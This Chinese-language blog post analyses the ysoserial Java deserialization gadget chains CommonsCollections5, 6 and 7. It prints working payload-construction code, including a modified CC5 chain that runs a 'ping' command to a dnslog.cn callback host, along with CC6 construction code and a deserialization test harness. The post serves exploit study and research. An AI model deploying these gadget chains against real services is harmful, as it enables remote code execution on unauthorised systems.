还债系列-Java反序列化链条分析补全(3)-CC5,6,7
前言
后续待分析的链条已经不多了,因此三个链条并到一篇里面写了,有了前面四个链条的分析基础,相信在看后面的利用链,大家已经很得心应手了,还有一样首先给出ysoserial标注的适用范围。
适用范围:
CommonCollections5 :commons-collections:3.1
CommonCollections6 :commons-collections:3.1
CommonCollections7 :commons-collections:3.1
<!--more-->
CC5链分析
首先第一步先看ysoserial给出的利用触发链和本体构造的编写:
这里出现了两个新类,BadAttributeValueExpException和TiedMapEntry。后面的地方都是老朋友了,但是也有奇怪的地方InvokerTransformer被构造了三次,这里我们能够看出是将命令执行的反射构造,分三次进行,但是别担心,我们一个个来看。
BadAttributeValueExpException
来看看该类的readObject方法,根据上面给出的触发链,这里readObject需要调用某值的toString方法:
这里看下来比较存疑的是头两句,这里很显然将传入一个字节流对象,然后获得他的属性,随后通过名字得到这个val属性,然后判断得到val值,是否为null,是否为字符串,如果不是进入后续判断。这里会判断是否开始安全管理器和一些基础类型,如果满足,才会成功调用到val.toString()方法。
这里比较明显val可控,且我们传入的val肯定不会是这些基本类型,所以该链条使用硬性条件,还有不开启getSecurityManager。
TiedMapEntry
从触发链来看,其目的很明确,就是能够调用到LazyMap的get方法,TiedMapEntry的toString方法如下:
非常简单,这里会返回一个字符串,但是也会同时调用TiedMapEntry的getKey方法和getValue方法:
很显然这里触发点就是getValue方法了,这里直接调用了属性map的get方法,因此,我们需要将TiedMapEntry的map属性设置成为LazyMap。后面的过程也就没什么好说的了,这个触发过程大家都比较熟悉,但是还有一个问题,阅读ysoyserial源码时,看到没有使用TemplateImpl利用链,这引起了我的注意,所以我觉得看看如果替换成TemplateImpl利用链,还能不能成功反序列化
TemplateImpl利用链测试
来看ysoserial的源码:
我们知道InvokerTransformer,能直接调用相应类的invoke方法,但是理论上不是也能使用TemplateImpl利用链吗,我们可以先修改一下CC5链查看能否序列化成功。
下面是我们魔改的CC5链条:
这里随意取了个名字CC101链:
public class CommonsCollections101 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final Object template = Gadgets.createTemplatesImpl("ping n7tget.dnslog.cn");
InvokerTransformer transformer = new InvokerTransformer("toString",new Class[0],new Object[0]);
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{
new ConstantTransformer(template),
transformer
});
Reflections.setFieldValue(transformer,"iMethodName","newTransformer");
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
Reflections.setAccessible(valfield);
valfield.set(val, entry);
return val;
}
......
}
这里很简单的只是将前面命令执行构造的部分换成了TemplateImpl利用链而已,并编写一个非常简单的测试反序列化工具:
public class Ser {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream ooi = new ObjectInputStream(new FileInputStream(new File("./1.txt")));
Object o = ooi.readObject();
System.out.print(o);
}
}
如果你使用的是idea中,直接指定参数运行ysoserial,可能会导致无法使用">"符号来导出输出,可以像我一样在ysoserial源码中加入,导出文本的源码。
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
//
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(new File("./1.txt")));
oos.writeObject(object);
//
Serializer.serialize(object, out);
ObjectPayload.Utils.releasePayload(payload, object);
}
下面是我本机的几个测试环境结果:
jdk7_21:
虽然报错但并不影响命令执行:
jdk8_72也可成功触发:
jdk8_211也可触发:
那么目前看来用TemplateImpl利用链的原因应该不是版本问题,这里我猜测可能和生成的字节码长度有关:
我们可以看到CC101的payload长度是CC5的两倍左右,因此从实际应用中考虑到HTTP包的解析长度限制,payload长度应该越小越好。
这是我个人思考决定CC5链条不采用TemplateImpl利用链的原因,如果有师傅还有别的想法,欢迎一起来讨论一下。
CC6链条分析
先来看看ysoserial给出的利用链:
这条利用链没有给出新类,还是原来的老套餐的组合,再来看看ysoserial是如何构造这条利用链的:
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
......省略反射执行的代码
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
CC6的代码看着就要比其他链条更复杂一点了,我们直接动态调试,看看最后构造的各个部分都是什么状态:
看来正常情况下是走的map->table
的路线,由于LazyMap到transformer到触发我们已经很熟悉了,因此我们只看前面的路线。
map -> table 梳理
很庆幸这个阶段都是在HashSet类中发生的,在反序列化触发中,首先肯定是触发的readObject方法,方法体很长如下:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
int capacity = s.readInt();
if (capacity < 0) {
throw new InvalidObjectException("Illegal capacity: " +
capacity);
}
float loadFactor = s.readFloat();
if (loadFactor <= 0 || Float.isNaN(loadFactor)) {
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
}
int size = s.readInt();
if (size < 0) {
throw new InvalidObjectException("Illegal size: " +
size);
}
capacity = (int) Math.min(size * Math.min(1 / loadFactor, 4.0f),
HashMap.MAXIMUM_CAPACITY);
SharedSecrets.getJavaOISAccess()
.checkArray(s, Map.Entry[].class, HashMap.tableSizeFor(capacity));
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor));
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}
}
这里readObject首先触发了put方法接着跟:
put方法很简单,这里调用了hash函数,来运算key值的hash值,然后根据得到的keyhash来填充整个HashSet,接着来看Hash函数:
这里会调用HashCode函数,如果key值不为null,而hashCode函数是一个接口,具体实现需要看具体调用了哪个类,通过给出的利用链和代码,我们知道这里的类是TiedMapEntry类,来看看其hashcode方法:
根据利用链,这里触发入口在getValue方法,继续跟:
调用map的get方法,这个时候我们可以将map设置成为LazyMap,
后续的内容就和CC3链差不多了,具体可以看上篇文章,这里不多赘述了。跟完我们发现还是没有给出为什么需要try->catch的信息,这里idea提示无法找到该属性,但鉴于这个链条是受jdk版本最小的链条,猜测是在某个版本下的jdk,HashSet中的属性名不一样,才需要这样try->catch进行设置。
经过各种百度终于找到了,原来CC6链是为了兼容早期jdk版本,大概在古早的jdk6中,HashSet存在这些属性,但是可靠性未知,具体链接如下:
CC7链条分析
同样的还是先来看ysoserial给出的利用链
有了前面的分析经验,我们先来增提看看这个触发链条,首先这个最开始的触发点使用了Hashtable类,中间通过LazyMap类链接触发点和transformer触发链条,最后是很常规的使用反射执行命令的过程,这两个部分就不做介绍了,因此我们主要来看Hashtable的触发过程和ysoserial是如何构造的。
HashTable触发过程
HashTable的作用正如前面讲的一样,是为了链接LazyMap,而LazyMap的最终目的是调用get方法,因此HashTable的最终目的一定是能调用某类的get方法。
readObject方法常规性的使用了defaultReadObject进行类的反序列化,后续的处理根据调用链显示,是调用了reconstitutionPut方法,我们进一步跟进:
这里会取出Hashtable中的每一个键值对进行操作,然后进入判断,判断运算的hash和键值对hash是否一致,然后再调用键值对key类的equals方法,根据我们构造时的情况,这里的键值为其实就是lazyMap类
而lazyMap类,这里就不再进一步跟进了,equal方法会进一步处理,调用get方法,从而让整个触发链能够顺利进行。
CC链整体总结
- jdk7 - CC1,CC3
- jdk7,jdk8 - CC5,CC6,CC7
- commons-collections<=3.1 - CC1,CC3,CC5,CC6,CC7
- commons-collections<=3.2.1 - CC1,CC3,CC5,CC6,CC7
- commons-collections=4.0 - CC2,CC4
起点:
AnnotationInvocationHandler.readObject
BadAttributeValueExpException.readObject
HashSet.readObject
Hashtable.readObject
承接点:LazyMap.get
DefaultedMap.get
TiedMapEntry.getValue
Proxy.invoke
终点ChainedTransformer.transform
InvokerTransformer.transform
ConstantTransformer.transform